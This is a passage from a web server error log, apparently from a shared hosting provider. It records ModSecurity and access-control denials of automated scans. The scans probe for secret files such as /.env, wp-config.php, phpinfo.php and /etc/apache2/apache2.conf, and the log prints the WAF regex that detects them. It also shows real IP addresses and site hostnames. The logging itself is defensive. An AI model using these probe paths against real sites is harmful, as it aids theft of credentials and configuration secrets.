"900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z69yTkdrNlD40tSHCrwAAPTE"] [Sat Jun 13 18:20:59.560094 2026] [access_compat:error] [pid 646876:tid 646992] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL2RldmljZS9ldmVudDUvZGV2aWNlL2RldmljZS9wb3dlcg== [Sat Jun 13 18:20:59.560470 2026] [access_compat:error] [pid 646876:tid 646992] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL2RldmljZS9ldmVudDUvZGV2aWNlL2RldmljZS9wb3dlcg== [Sat Jun 13 18:20:59.561137 2026] [security2:error] [pid 648189:tid 648246] [remote 17.246.23.110:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 110.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z61WSojQL4F7upKCJnQAA1xk"] [Sat Jun 13 18:20:59.623224 2026] [security2:error] [pid 648189:tid 648354] [client 143.244.57.82:57630] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.bbr.ouz.mybluehost.me"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "ai3z61WSojQL4F7upKCJowAAAIY"] [Sat Jun 13 18:20:59.698738 2026] [security2:error] [pid 648189:tid 648365] [client 185.177.72.9:58308] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/etc/apache2/apache2.conf"] [unique_id "ai3z61WSojQL4F7upKCJpgAAAJE"] [Sat Jun 13 18:20:59.708462 2026] [access_compat:error] [pid 646876:tid 646955] [remote 57.141.14.82:57656] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:59.708736 2026] [access_compat:error] [pid 646876:tid 646955] [remote 57.141.14.82:57656] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:59.966719 2026] [security2:error] [pid 646876:tid 647063] [client 91.92.42.86:54994] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.acc.bxz.mybluehost.me"] [uri "/info.php"] [unique_id "ai3z69yTkdrNlD40tSHCwAAAADc"], referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:20:59.975050 2026] [proxy:error] [pid 646876:tid 647126] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:20:59.975150 2026] [proxy_http:error] [pid 646876:tid 647126] [client 91.92.42.86:55000] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:20:59.977112 2026] [proxy:error] [pid 646876:tid 647126] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:20:59.977176 2026] [proxy_http:error] [pid 646876:tid 647126] [client 91.92.42.86:55000] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:00.013804 2026] [security2:error] [pid 648189:tid 648467] [client 91.92.42.86:55006] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.acc.bxz.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3z7FWSojQL4F7upKCJsAAAAPE"], referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:00.019348 2026] [security2:error] [pid 648189:tid 648481] [client 91.92.42.86:55022] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.acc.bxz.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3z7FWSojQL4F7upKCJsQAAAP8"], referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:00.031955 2026] [security2:error] [pid 646876:tid 647050] [client 91.92.42.86:55032] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcontacts.acc.bxz.mybluehost.me"] [uri "/___proxy_subdomain_cpcontacts/.env"] [unique_id "ai3z7NyTkdrNlD40tSHCyAAAACo"], referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:00.033474 2026] [proxy:error] [pid 646876:tid 647060] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:00.033582 2026] [proxy_http:error] [pid 646876:tid 647060] [client 91.92.42.86:55048] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:00.034561 2026] [proxy:error] [pid 646876:tid 647060] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:00.034615 2026] [proxy_http:error] [pid 646876:tid 647060] [client 91.92.42.86:55048] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:00.072928 2026] [proxy:error] [pid 648189:tid 648405] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:00.073021 2026] [proxy_http:error] [pid 648189:tid 648405] [client 91.92.42.86:55064] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:00.073792 2026] [proxy:error] [pid 648189:tid 648405] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:00.073857 2026] [proxy_http:error] [pid 648189:tid 648405] [client 91.92.42.86:55064] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:00.091020 2026] [access_compat:error] [pid 646876:tid 647004] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:21:00.091295 2026] [access_compat:error] [pid 646876:tid 647004] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:21:00.123067 2026] [security2:error] [pid 648189:tid 648475] [client 91.92.42.86:55078] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.acc.bxz.mybluehost.me"] [uri "/config.php"] [unique_id "ai3z7FWSojQL4F7upKCJtQAAAPk"], referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:00.132759 2026] [proxy:error] [pid 648189:tid 648359] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:00.132858 2026] [proxy_http:error] [pid 648189:tid 648359] [client 91.92.42.86:55080] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:00.133702 2026] [proxy:error] [pid 648189:tid 648359] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:00.133751 2026] [proxy_http:error] [pid 648189:tid 648359] [client 91.92.42.86:55080] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:00.137963 2026] [access_compat:error] [pid 646876:tid 646956] [remote 57.141.14.52:54016] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:00.138410 2026] [access_compat:error] [pid 646876:tid 646956] [remote 57.141.14.52:54016] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:00.158389 2026] [access_compat:error] [pid 646876:tid 646921] [remote 57.141.14.110:37716] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:00.158829 2026] [access_compat:error] [pid 646876:tid 646921] [remote 57.141.14.110:37716] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:00.245584 2026] [access_compat:error] [pid 648189:tid 648233] [remote 57.141.14.9:37766] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:00.246025 2026] [access_compat:error] [pid 648189:tid 648233] [remote 57.141.14.9:37766] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:00.393970 2026] [security2:error] [pid 646876:tid 646913] [remote 57.141.14.32:42963] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 32.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3z7NyTkdrNlD40tSHC1wAAbyI"], referer: https://nelsonfarmstn.com/?add_to_wishlist=388&_wpnonce=8d149de2a5 [Sat Jun 13 18:21:00.400492 2026] [security2:error] [pid 648189:tid 648248] [remote 17.22.253.120:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 120.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z7FWSojQL4F7upKCJwQAA-Bs"] [Sat Jun 13 18:21:00.465266 2026] [access_compat:error] [pid 646876:tid 646947] [remote 57.141.14.100:48417] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:00.465549 2026] [access_compat:error] [pid 646876:tid 646947] [remote 57.141.14.100:48417] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:00.610237 2026] [security2:error] [pid 648189:tid 648482] [client 91.92.42.86:55128] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "acc.bxz.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3z7FWSojQL4F7upKCJyAAAAQA"], referer: http://acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:00.623086 2026] [access_compat:error] [pid 646876:tid 646945] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9QTlAwQTA2OjAx [Sat Jun 13 18:21:00.623466 2026] [access_compat:error] [pid 646876:tid 646945] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9QTlAwQTA2OjAx [Sat Jun 13 18:21:00.627016 2026] [security2:error] [pid 648189:tid 648419] [client 91.92.42.86:55138] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "acc.bxz.mybluehost.me"] [uri "/config.php"] [unique_id "ai3z7FWSojQL4F7upKCJygAAAMY"], referer: http://acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:00.635952 2026] [security2:error] [pid 648189:tid 648435] [client 91.92.42.86:55152] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "acc.bxz.mybluehost.me"] [uri "/info.php"] [unique_id "ai3z7FWSojQL4F7upKCJywAAANY"], referer: http://acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:00.670808 2026] [security2:error] [pid 646876:tid 646884] [remote 17.241.219.71:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z7NyTkdrNlD40tSHC4wAAKwU"] [Sat Jun 13 18:21:00.681098 2026] [security2:error] [pid 648189:tid 648415] [client 91.92.42.86:55096] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "acc.bxz.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3z7FWSojQL4F7upKCJzQAAAMI"], referer: http://acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:00.783158 2026] [security2:error] [pid 648189:tid 648299] [remote 17.246.19.132:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 132.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z7FWSojQL4F7upKCJ0wAAxE0"] [Sat Jun 13 18:21:00.851532 2026] [security2:error] [pid 648189:tid 648453] [client 91.92.42.86:55204] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.acc.bxz.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3z7FWSojQL4F7upKCJ1AAAAOc"], referer: http://autodiscover.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:00.966171 2026] [access_compat:error] [pid 648189:tid 648268] [remote 57.141.14.2:31775] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:00.966255 2026] [security2:error] [pid 646876:tid 647102] [client 91.92.42.86:55214] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.acc.bxz.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3z7NyTkdrNlD40tSHC7AAAAF4"], referer: http://autodiscover.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:00.967231 2026] [access_compat:error] [pid 648189:tid 648268] [remote 57.141.14.2:31775] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:00.972839 2026] [security2:error] [pid 648189:tid 648321] [remote 17.241.227.17:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 17.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z7FWSojQL4F7upKCJ2gAAzGI"] [Sat Jun 13 18:21:01.050471 2026] [security2:error] [pid 646876:tid 647053] [client 91.92.42.86:55232] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.acc.bxz.mybluehost.me"] [uri "/info.php"] [unique_id "ai3z7dyTkdrNlD40tSHC8gAAAC0"], referer: http://autodiscover.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.065387 2026] [security2:error] [pid 648189:tid 648454] [client 91.92.42.86:39360] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "acc.bxz.mybluehost.me"] [uri "/.env"] [unique_id "ai3z7VWSojQL4F7upKCJ5AAAAOg"], referer: http://acc.bxz.mybluehost.me/.env [Sat Jun 13 18:21:01.069139 2026] [security2:error] [pid 646876:tid 647058] [client 91.92.42.86:55254] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.acc.bxz.mybluehost.me"] [uri "/.env"] [unique_id "ai3z7dyTkdrNlD40tSHC9QAAADI"], referer: http://autodiscover.acc.bxz.mybluehost.me/ [Sat Jun 13 18:21:01.099324 2026] [access_compat:error] [pid 646876:tid 646943] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDA= [Sat Jun 13 18:21:01.099844 2026] [access_compat:error] [pid 646876:tid 646943] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDA= [Sat Jun 13 18:21:01.103104 2026] [security2:error] [pid 648189:tid 648426] [client 91.92.42.86:55280] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname 